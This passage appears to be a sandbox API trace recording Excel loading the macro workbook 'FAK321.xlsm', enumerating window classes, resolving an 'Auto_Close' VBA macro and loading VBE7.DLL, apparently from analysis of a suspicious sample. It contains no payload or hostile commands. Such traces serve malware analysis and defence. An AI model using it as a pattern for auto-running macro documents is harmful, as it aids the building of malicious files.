0x10082 [0241.564] GetClassNameA (in: hWnd=0x10082, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.564] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.564] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0241.564] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.564] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.564] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0241.564] GetClassNameA (in: hWnd=0x10068, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.564] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.564] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0241.564] GetClassNameA (in: hWnd=0x20020, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="#43") returned 3 [0241.564] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0241.564] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0241.564] GetClassNameA (in: hWnd=0x20024, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.564] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0241.564] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0241.564] GetClassNameA (in: hWnd=0x10064, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0241.564] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.564] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0241.564] GetClassNameA (in: hWnd=0x10052, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0241.564] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0241.565] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0241.565] GetClassNameA (in: hWnd=0x10054, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0241.565] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0241.565] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0241.565] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.565] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0241.565] GetClassNameA (in: hWnd=0x10044, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0241.565] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.565] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0241.565] GetClassNameA (in: hWnd=0x20040, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0241.565] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.565] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0241.565] GetClassNameA (in: hWnd=0x10042, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.565] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0241.565] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0241.565] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0241.565] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0241.565] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0241.565] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0241.565] GetClassNameA (in: hWnd=0x20022, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0241.565] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0241.565] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0241.565] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0241.566] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0241.566] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0241.566] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.566] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0241.566] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7cfa0c0 [0241.566] IMalloc:Free (This=0x7fefecb5380, pv=0x7cfa0c0) [0244.966] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0244.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7b57e08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0244.966] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0244.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7b57e08, cbMultiByte=11, lpWideCharStr=0xb277918, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0244.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Close", cchWideChar=-1, lpMultiByteStr=0x18a240, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Close", lpUsedDefaultChar=0x0) returned 24 [0244.967] IMalloc:Alloc (This=0x7fefecb5380, cb=0x19) returned 0xb73c680 [0244.967] strncpy_s (in: _Dst=0xb73c680, _DstSize=0x19, _Src="[VBAProject].Auto_Close", _MaxCount=0x17 | out: _Dst="[VBAProject].Auto_Close") returned 0x0 [0244.967] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0244.967] bsearch (_Key=0x189158, _Base=0xb2ad810, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x0 [0244.967] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0244.967] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0244.968] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Close") returned 0x108077 [0244.968] bsearch (_Key=0x189158, _Base=0xb2ad810, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x0 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBA", cchCount2=-1) returned 1 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Excel", cchCount2=-1) returned 1 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="stdole", cchCount2=-1) returned 1 [0244.968] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Office", cchCount2=-1) returned 1 [0244.968] IMalloc:Free (This=0x7fefecb5380, pv=0xb73c680) [0245.234] _wfullpath (in: _Buffer=0x18a2e0, _Path="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm" [0245.234] lstrcmpiW (lpString1="", lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned -1 [0245.235] GetLocalTime (in: lpSystemTime=0x189d98 | out: lpSystemTime=0x189d98*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x2b, wSecond=0x39, wMilliseconds=0x164)) [0245.235] _ultow_s (in: _Value=0x603e795d, _Buffer=0x189e8a, _BufferCount=0x103, _Radix=16 | out: _Buffer="603e795d") returned 0x0 [0245.235] wcsncpy_s (in: _Destination=0x189a10, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0245.235] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0245.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x189940, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0245.235] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0245.235] wcsncpy_s (in: _Destination=0x189ac0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0245.235] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0245.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x1899f0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0245.235] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0245.236] wcsncpy_s (in: _Destination=0x189a60, _SizeInWords=0x108, _Source="*\\Z04603e795d", _MaxCount=0x106 | out: _Destination="*\\Z04603e795d") returned 0x0 [0245.236] CharLowerBuffW (in: lpsz="*\\Z04603e795d", cchLength=0xd | out: lpsz="*\\z04603e795d") returned 0xd [0245.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04603e795d", cchWideChar=14, lpMultiByteStr=0x189990, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04603e795d", lpUsedDefaultChar=0x0) returned 14 [0245.236] wcscpy_s (in: _Destination=0xb56c230, _SizeInWords=0xe, _Source="*\\Z04603e795d" | out: _Destination="*\\Z04603e795d") returned 0x0 [0245.236] wcsncpy_s (in: _Destination=0x189aa0, _SizeInWords=0x108, _Source="*\\Z04603e795d", _MaxCount=0x106 | out: _Destination="*\\Z04603e795d") returned 0x0 [0245.236] CharLowerBuffW (in: lpsz="*\\Z04603e795d", cchLength=0xd | out: lpsz="*\\z04603e795d") returned 0xd [0245.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04603e795d", cchWideChar=14, lpMultiByteStr=0x1899d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04603e795d", lpUsedDefaultChar=0x0) returned 14 [0245.236] wcsncpy_s (in: _Destination=0x189b70, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0245.236] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0245.236] IMalloc:Alloc (This=0x7fefecb5380, cb=0x122) returned 0x7b49e00 [0245.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x7b49e00, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0245.236] IMalloc:Free (This=0x7fefecb5380, pv=0x7b49e00) [0245.236] wcsncpy_s (in: _Destination=0x189b70, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0245.236] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0245.236] IMalloc:Alloc (This=0x7fefecb5380, cb=0x11c) returned 0x7b49e00 [0245.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0x7b49e00, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0245.237] IMalloc:Free (This=0x7fefecb5380, pv=0x7b49e00) [0245.237] wcsncpy_s (in: _Destination=0x189b70, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0245.237] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0245.237] IMalloc:Alloc (This=0x7fefecb5380, cb=0xbe) returned 0x5088e80 [0245.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x5088e80, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0245.237] IMalloc:Free (This=0x7fefecb5380, pv=0x5088e80) [0245.237] wcsncpy_s (in: _Destination=0x189b70, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0245.237] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0245.237] IMalloc:Alloc (This=0x7fefecb5380, cb=0x12a) returned 0xad4d250 [0245.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0xad4d250, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0245.237] IMalloc:Free (This=0x7fefecb5380, pv=0xad4d250) [0245.237] wcscpy_s (in: _Destination=0x7aa3670, _SizeInWords=0x108, _Source="*\\Z04603e795d" | out: _Destination="*\\Z04603e795d") returned 0x0 [0245.238] lstrcmpiW (lpString1="", lpString2="C:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned -1 [0245.238] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0245.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7b57e08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0245.238] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0245.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7b57e08, cbMultiByte=11, lpWideCharStr=0xb277918, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0245.239] lstrlenA (lpString="VBAProject") returned 10 [0245.239] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0245.239] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="FAK321.xlsm", _MaxCount=0x28 | out: _Destination="VBAProject (FAK321.xlsm") returned 0x0 [0245.239] lstrcatA (in: lpString1="VBAProject (FAK321.xlsm", lpString2=")" | out: lpString1="VBAProject (FAK321.xlsm)") returned="VBAProject (FAK321.xlsm)" [0245.240] IMalloc:Free (This=0x7fefecb5380, pv=0x7a313a0) [0245.240] IUnknown:Release (This=0xb55fe10) returned 0xd [0245.240] IUnknown:Release (This=0xaeffda0) returned 0xf [0245.240] IUnknown:Release (This=0xb5603b0) returned 0x4 [0245.240] IUnknown:Release (This=0xb560950) returned 0x2 [0245.240] GetCurrentProcess () returned 0xffffffffffffffff [0245.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5444, dwSize=0x54) returned 1 [0245.240] RtlLookupFunctionEntry (in: ControlPc=0xaeb5444, ImageBase=0x1899e8, HistoryTable=0x1899f0 | out: ImageBase=0x1899e8, HistoryTable=0x1899f0) returned 0xaeb54a8 [0245.241] GetCurrentProcess () returned 0xffffffffffffffff [0245.241] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5cc0, dwSize=0x5c) returned 1 [0245.241] RtlLookupFunctionEntry (in: ControlPc=0xaeb5cc0, ImageBase=0x1899e8, HistoryTable=0x1899f0 | out: ImageBase=0x1899e8, HistoryTable=0x1899f0) returned 0xaeb5d2c [0245.241] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.241] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.241] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.242] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b06) returned 1 [0245.242] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.243] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x258) returned 0x7fee5a04ee0 [0245.243] GetCurrentProcess () returned 0xffffffffffffffff [0245.243] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5dbc, dwSize=0x43) returned 1 [0245.243] RtlLookupFunctionEntry (in: ControlPc=0xaeb5dbc, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb5e0c [0245.243] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.243] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.243] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.244] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b07) returned 1 [0245.244] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.245] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x278) returned 0x7fee5a6d6f0 [0245.245] GetCurrentProcess () returned 0xffffffffffffffff [0245.245] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb54e0, dwSize=0x53) returned 1 [0245.245] RtlLookupFunctionEntry (in: ControlPc=0xaeb54e0, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb5540 [0245.245] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.245] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.245] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.246] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b08) returned 1 [0245.246] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.247] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x204) returned 0x7fee5a6d760 [0245.247] GetCurrentProcess () returned 0xffffffffffffffff [0245.247] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6194, dwSize=0x3b) returned 1 [0245.247] RtlLookupFunctionEntry (in: ControlPc=0xaeb6194, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb61dc [0245.247] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.247] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.247] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.248] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b09) returned 1 [0245.248] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.248] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x260) returned 0x7fee5a6ae28 [0245.248] GetCurrentProcess () returned 0xffffffffffffffff [0245.248] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6254, dwSize=0x43) returned 1 [0245.248] RtlLookupFunctionEntry (in: ControlPc=0xaeb6254, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb62a4 [0245.248] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.249] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.249] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.249] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0a) returned 1 [0245.249] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.250] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x277) returned 0x7fee5a6d690 [0245.250] GetCurrentProcess () returned 0xffffffffffffffff [0245.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7184, dwSize=0x4b) returned 1 [0245.250] RtlLookupFunctionEntry (in: ControlPc=0xaeb7184, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb71dc [0245.250] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.250] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.250] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.251] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0b) returned 1 [0245.251] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.252] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x245) returned 0x7fee5a6a6c8 [0245.252] GetCurrentProcess () returned 0xffffffffffffffff [0245.252] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7254, dwSize=0x3b) returned 1 [0245.252] RtlLookupFunctionEntry (in: ControlPc=0xaeb7254, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb729c [0245.252] free (_Block=0xcadded0) [0245.255] GetCurrentProcess () returned 0xffffffffffffffff [0245.255] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5444, dwSize=0x54) returned 1 [0245.255] RtlLookupFunctionEntry (in: ControlPc=0xaeb5444, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb54a8 [0245.255] GetCurrentProcess () returned 